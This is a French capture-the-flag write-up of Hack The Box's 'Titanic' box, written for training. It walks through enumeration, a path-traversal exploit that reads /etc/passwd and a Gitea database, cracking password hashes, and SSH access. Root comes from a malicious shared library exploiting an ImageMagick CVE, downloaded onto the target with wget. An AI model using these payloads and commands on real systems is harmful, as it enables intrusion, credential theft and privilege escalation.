
I. Présentation
Dans cet article, je vous propose de suivre la démarche pour compromettre le système Titanic dans le cadre d’un exercice Hack The Box de difficulté “facile”.
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelés “box”. Chaque système est différent et doit être attaqué en adoptant la démarche d’un cyberattaquant. L’objectif est d’y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active Directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs ! 🙂
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et de ressources que possible. N’hésitez pas à consulter les nombreux liens qui sont présents dans l’article.
Cette solution est publiée en accord avec les règles d’HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme “Retired”.
Technologies abordéesLinux, Gitea, Magick, Python, DockerOutils utilisésnmap, ffuf, Docker, curl, sqlite3, gcc
Retrouvez tous nos articles Hack The Box via ce lien :
II. Résolution de la box Titanic
A. Découverte et énumération
La première étape est bien sûr la cartographie. On souhaite savoir quels sont les services exposés sur le réseau par notre cible. Chaque service ou application sera un point d’entrée potentiel. Pour cela, j’utilise l’outil nmap.
Technique d’attaque (MITRE ATT&CK) : T1046 – Network Service Discovery
$ nmap –max-retries 1 -T4 -sS -A -v –open -p- -Pn -oA TITANIC_nmap-TCPFullVersion 10.10.11.55
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Nous retrouvons ici des ports assez classiques pour un OS Linux, un service d’accès à distance SSH (TCP/22) ainsi qu’un service web en écoute sur le port TCP/80.
Si vous souhaitez en apprendre plus sur l’outil de scan réseau “nmap”, sachez que j’ai écrit un livre entier pour vous aider à le maitriser complètement. Vous pourrez ainsi par vous-même effectuer des scans réseau et de recherches de vulnérabilité :
Le script NSE http-title de nmap me permet de relever le nom d’hôte, ou au moins celui d’un des vhosts du service web : titanic.htb. Pour faciliter les échanges, j’ajoute cette entrée dans mon fichier de résolution DNS local :
$ echo “10.10.11.55 titanic.htb” >> /etc/hosts
Il ne faut jamais oublier de faire un tour du côté des vhosts. Un service web peut écouter sur un port, mais avoir plusieurs vhosts (nom de domaine) sur ce port. Pour cela, j’utilise l’outil de fuzzing ffuf :
Technique d’attaque (MITRE ATT&CK) : T1595.003 – Active Scanning: Wordlist Scanning
$ ffuf -w /opt/lists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://titanic.htb -H “Host: FUZZ.titanic.htb” -fc 301 | tee -a TITANIC_ffuf_vhost.txt
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 98ms]
Il semblerait que le vhost dev.titanic.htb existe sur ce service web. Je l’ajoute également à mon fichier /etc/hosts :
$ echo “10.10.11.55 dev.titanic.htb” >> /etc/hosts
B. Analyse des applications web
Maintenant que nous avons une vue plus précise des services à cibler, nous pouvons nous intéresser aux applications web qui se situent sur le service web. Le vhost http://titanic.htb héberge ce qui ressemble à un site web vitrine. Le vhost http://dev.titanic.htb un service Gitea (un GitHub local). Sans authentification, deux projets sont accessibles :
Je les télécharge localement puis les décompresse pour voir s’ils contiennent des données intéressantes comme des noms d’utilisateurs, mots de passe, version, etc :
$ unzip flask-app-main.zip
$ unzip docker-config-main.zip
La première opération est bien sûr de rechercher des mots de passe :
$ grep password -ri *
docker-config/mysql/docker-compose.yml: MYSQL_ROOT_PASSWORD: ‘MySQLP@$$w0rd!’
docker-config/mysql/docker-compose.yml: MYSQL_PASSWORD: sql_password
Un premier mot de passe apparaît, mais celui-ci concerne le service MySQL, qui n’est pas exposé sur le réseau. Autre information intéressante sur le service Gitea : un nom d’utilisateur (developer).
C. Exploitation de la vulnérabilité LFI
En parcourant le contenu du dépôt flask-app, on retrouve le code source d’une page Flask (Python) :
@app.route(‘/download’, methods=[‘GET’])
def download_ticket():
ticket = request.args.get(‘ticket’)
if not ticket:
return jsonify({“error”: “Ticket parameter is required”}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({“error”: “Ticket not found”}), 404
Le point d’entrée /download est très intéressant, il contient une vulnérabilité de type LFI (Local File Include). Le paramètre ticket est ici utilisé dans la ligne return send_file(json_filepath, as_attachment=True, download_name=ticket). Voyons ce qu’il se passe si l’on demande à l’application de nous retourner un fichier sensible :
Technique d’attaque (MITRE ATT&CK) : T1190 – Exploit Public-Facing Application
$ curl http://titanic.htb/download\?ticket\=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Voilà un comportement qui n’a pas été prévu par le développeur. Nous pouvons exfiltrer des fichiers du système à partir du moment où ils sont lisibles par l’utilisateur qui fait tourner l’application web.
D. Accès SSH et élévation de privilège
Je combine cette information avec la configuration du docker compose découverte précédemment sur le point de montage du container, ainsi que la vulnérabilité LFI découverte :
Technique d’attaque (MITRE ATT&CK) : T1048.003 – Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
$ curl http://titanic.htb/download\?ticket\=/home/developer/gitea/data/gitea/gitea.db –output gitea.db
Je viens de récupérer le fichier de base de données de l’application. L’idée est maintenant de voir si elle contient des informations intéressantes comme des données métiers ou techniques, des secrets utilisateurs, etc :
$ sqlite3 gitea.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter “.help” for usage hints.
sqlite> .table;
[…]
language_stat user
lfs_lock user_badge
lfs_meta_object user_blocking
login_source user_open_id
milestone user_redirect
mirror user_setting
notice version
sqlite > PRAGMA table_info(user);
sqlite> select * from user;
1|administrator|administrator||[email protected]|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|[email protected]|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||[email protected]|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|[email protected]|0|0|0|0|2|0|0|0|0||gitea-auto|0
Après avoir affiché le nom et contenu des colonnes de la table user, pas de doute, nous avons sous la main les identifiants (hashs) des utilisateurs administrator et developer. Après quelques recherches sur la manière la plus simple de réunir ces différentes informations, j’ai trouvé un script gitea2hashcat.py sur GitHub :
Technique d’attaque (MITRE ATT&CK) : T1552.001 – Unsecured Credentials: Credentials In Files
$ sqlite3 ~/Downloads/gitea.db ‘select salt,passwd from user;’ | python3 ~/Downloads/gitea2hashcat.py
[+] Run the output hashes through hashcat mode 10900 (PBKDF2-HMAC-SHA256)
sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
J’utilise ensuite hashcat pour tenter de casser ces hashs via une attaque par dictionnaire simple, basée sur le dictionnaire connu rockyou.txt :
Technique d’attaque (MITRE ATT&CK) : T1110.002 – Brute Force: Password Cracking
$ hashcat -m 10900 /tmp/x -a 0 /opt/lists/rockyou.txt –force
Au bout de quelques exemples et un coup de chauffe de mon CPU, le mot de passe en clair apparaît :
[…]
Dictionary cache built:
* Filename..: /opt/lists/rockyou.txt
* Passwords.: 14344391
* Bytes…..: 139921497
* Keyspace..: 14344384
* Runtime…: 1 sec
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
Sans attendre, j’utilise ce mot de passe pour tenter d’accéder avec le compte de l’utilisateur developer au service SSH :
Technique d’attaque (MITRE ATT&CK) : T1021.004 – Remote Services: SSH
$ ssh [email protected]
developer@titanic:~$ cat ~/user.txt
[…]
Cela permet d’accéder au premier flag de cet exercice.
E. Élévation de privilège
Il nous reste maintenant à compromettre complètement ce système en élevant nos privilèges. Après les étapes de découvertes habituelles qui comprennent, par exemple, la revue des permissions et groupes de l’utilisateur courant (developer), les permissions sudo, les versions de l’OS et des packages installés, etc. Je remarque un script aux permissions inhabituelles dans /opt :
Ce script identify_images.sh possède comme propriétaire et groupe propriétaire root. L’utilisateur developer n’ayant pas les permissions de le modifier, il y a de forte chances pour qu’il n’ait pas non plus à l’exécuter et que ce soit plutôt root qui s’en charge. Autre argument, le fichier metadata.log créé par la commande appartient à root. Le contenu du script montre que le binaire /usr/bin/magick est utilisé, regardons sa version :
$ /usr/bin/magick –version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
Après de rapides recherches sur Internet à propos de cette version, je découvre l’avertissement de sécurité suivant relatif à la CVE-2024-41817 : CVE : github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
The AppImage version ImageMagick might use an empty path when setting MAGICK_CONFIGURE_PATH and LD_LIBRARY_PATH environment variables while executing, which might lead to arbitrary code execution by loading malicious configuration files or shared libraries in the current working directory while executing ImageMagick.
Le script se rend d’abord dans le répertoire /opt/app/static/assets/images, sur lequel nous disposons des droits d’écriture en tant que developer. Il nous reste à savoir quand la commande /usr/bin/magick est exécutée par l’utilisateur root, propriétaire du fichier. D’après la date de modification du fichier metadata.log, l’exécution se fait toutes les minutes. Je réutilise donc le PoC (Proof of concept) de l’advisory. Il consiste en la création d’une bibliothèque partagée écrite en C qui sera chargée par le binaire magick à son exécution. Mon payload (charge utile exécutée par l’exploit) sera l’ajout d’un bit setuid à la commande /bin/bash :
# Commande exécutée sur ma machine d’attaque
$ gcc -x c -shared -fPIC -o ./libxcb.so.1 – << EOF
#include
#include
#include
__attribute__((constructor)) void init(){
system(“chmod +s /bin/bash”);
exit(0);
}
EOF
Il est nécessaire de créer cette commande sur une machine d’attaque, la cible n’ayant pas gcc d’installé. Ensuite, je transfère ce fichier sur la cible via un simple serveur web python :
Technique d’attaque (MITRE ATT&CK) : T1105 – Ingress Tool Transfer
# Machine d’attaque – mise en écoute d’un service web
python3 -m http.server
# Cible – téléchargement de la charge utile dans le répertoire
$ cd /opt/app/static/assets/images
$ wget http://10.10.15.12:8000/libxcb.so.1
Une fois la bibliothèque en place, il nous suffit d’attendre la prochaine minute pour que l’utilisateur root l’exécute et rende le binaire /bin/bash setuid :
Technique d’attaque (MITRE ATT&CK) : T1068 – Exploitation for Privilege Escalation
developer@titanic:/opt/app/static/assets/images$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
developer@titanic:/opt/app/static/assets/images$ /bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt[…]
Nous sommes à présent maître du système !
III. Notions abordées
A. Côté attaquant
Cet exercice est particulièrement orienté sur la prise d’information et la bonne utilisation de ces informations. Il s’agit d’un cas très classique d’exploitation et de progression sur un système Linux. Il est très important d’avoir une démarche de prise d’information et d’énumération complète et de ne pas foncer tête baissée sur le premier élément que l’on croise.
La recherche basée sur la version de Magic et la CVE étant aussi un petit exercice intéressant. Cet outil possède de nombreuses CVE et il fallait lire attentivement l’advisory utilisé pour en comprendre l’utilisation.
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations. J’ajoute à ces différents points quelques ressources pour aller plus loin :
Maîtriser les informations publiées sur les dépôts de code :
Mettre à jour régulièrement les logiciels et surveiller les vulnérabilités :
Les mises à jour régulières des logiciels permettent de corriger les failles de sécurité connues. Pour une meilleure sécurité, il faut régulièrement surveiller les bulletins de sécurité et appliquer les correctifs dès qu’ils sont disponibles.
Ressource : ANSSI – Guide d’hygiène informatique – Ce guide propose des recommandations pour sécuriser les systèmes d’information (directive n°34 – Définir une politique de mise à jour des composants du système d’information)
Ne pas réutiliser des mots de passe entre plusieurs comptes ou services :
La réutilisation des mots de passe augmente le risque de compromission de plusieurs comptes en cas de fuite de données. Chaque compte doit avoir un mot de passe unique et robuste. Dans cet exercice, la réutilisation mot de passe de l’utilisateur developer entre son compte Gitea et son compte SSH nous a permis d’obtenir un premier accès à la machine.
IV. Conclusion
J’espère que cet article vous a plu ! N’hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !
Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy en plus de nos contenus. Utilisez ce lien d’inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy
Co-fondateur d’IT-Connect.fr.
Auditeur/Pentester chez Orange Cyberdéfense.